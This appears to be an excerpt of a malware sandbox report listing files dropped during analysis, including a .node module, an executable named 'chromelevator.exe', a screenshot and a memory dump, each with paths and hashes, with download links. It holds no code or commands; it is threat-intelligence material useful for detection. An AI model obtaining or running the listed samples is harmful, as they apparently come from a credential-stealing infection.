Size 275KB
SHA256 89cbacbc842eb08645bf0b2ea5a03f0a0504a213aa123242343e5588e2f0149c
MD5 b0de8894ef937d27715e81eedb6177b9
SHA1 7a3cce84c94c2a7cfc9b260d219d3738f0f93a99
SHA512 9166ddf27a1094817aba685c66bd2fc60d57c4d0961d96931a4e56bac34de339334532196253b676276241d88214e2927b1fc174acaf33296cf8f84e1455b055
SSDEEP 6144:odlJkcWg0NBDpwx9cRABXT8BH9gb0HXHVXm98r9jCdfluwJHdQPlDgNbZ4e9z1qK:mWgsDux9cRABXT8BH9gb0HXHVXm98r9L
TLSH
T11E543916B2466A7DD51AC070A3178AA22671BCDA1B31FAFB11D065393F66BF47B3C310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4225614606.node

Path C:\Users\Admin\AppData\Local\Temp\4225614606.node
Size 1.6MB
SHA256 a0703af5f81284f61b51946b703ccaafcae05c848527d38f1e6d8290f98ff538
MD5 ed4ba4226ff675bb2b6cc4013eb8869c
SHA1 b95f7a08e140fc96ba3506a6f5f41f41a09b1a3c
SHA512 b3e69235b4fca48163d1604564fefa23fd6be371888bce2a8715506b17ffdaf555ea9368b011d6ef05d7904affa04095f8dc9d9135208ffd113836c714c2c820
SSDEEP 24576:NlFbqFLRGKa3z28ynzoF6CyLXp1LueQ3NFL9wMeeSZInj6lkBWKM7OjArG2:5qFL26zZLXp1ieQvSAjm
TLSH
T178758D46B2A900FCC467C1748A5B6607E7B274051B74A7EF15E08AAA6F33FE1167F324
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chromelevator.exe

Path C:\Users\Admin\AppData\Local\Temp\ls_z23ak4\chromelevator.exe
Size 1.4MB
SHA256 16d221f6402ceeddbd6adcf42da0a3b8c85dee30485096fc9b22500bfb610fbd
MD5 5dbd92da6517e14311716dc923529889
SHA1 10e43c7e82463e876c717499aeb0894ab907e34c
SHA512 c1d23623989c5622b06818131dea2b159a20815d1f2449e878583ce26d7b3b5b8625be695784c7d3876cf06051cd329a69b667ba3204282c6a7a95506d376c5e
SSDEEP 24576:8UwCOMgY6/XURTER2ZwXBxn6C15DGjAydLs7nbs/0gRS19fv9M39D3V:kqicZwv15zfQ69fvE3V
TLSH
T1AD650217A76400F8D1BBC674CD52890ADB77FC4A4771AA8F13A84E960F237A08E3E755
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

scr_1785857800875.png

Path C:\Users\Admin\AppData\Local\Temp\scr_1785857800875.png
Size 545KB
SHA256 33e00ab56576625d15aa28de76eeed9b1511f8dac3b3d5804860239087b59aff
MD5 7fe0e4a5d4e95d03092d693d66567097
SHA1 e78a1d2d0053d6db7e37bee484494031202f19af
SHA512 cbd21f065e4a85326cb4f2361fbc72eba16a3a0f5eb46d6304ef358f1473ab62af3d8380d175e0f2fdfa29291362a789cc88b170d29f669ff1b4afacf3c95ffd
SSDEEP 12288:BOHeqhBNIag9DPWblvRlM2lDhoiWyKNmy7G/OimJlXCg1W+LLIh:MB2bDWVM2lKiWPNms3XrRE
TLSH
T1A8C4125D51F11B882D87E0AEFDC02E8F224025D7D1FD4975EBB87D808512E7CAE62A27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4572-23-0x00000208F8940000-0x00000208F8962000-memory.dmp

Download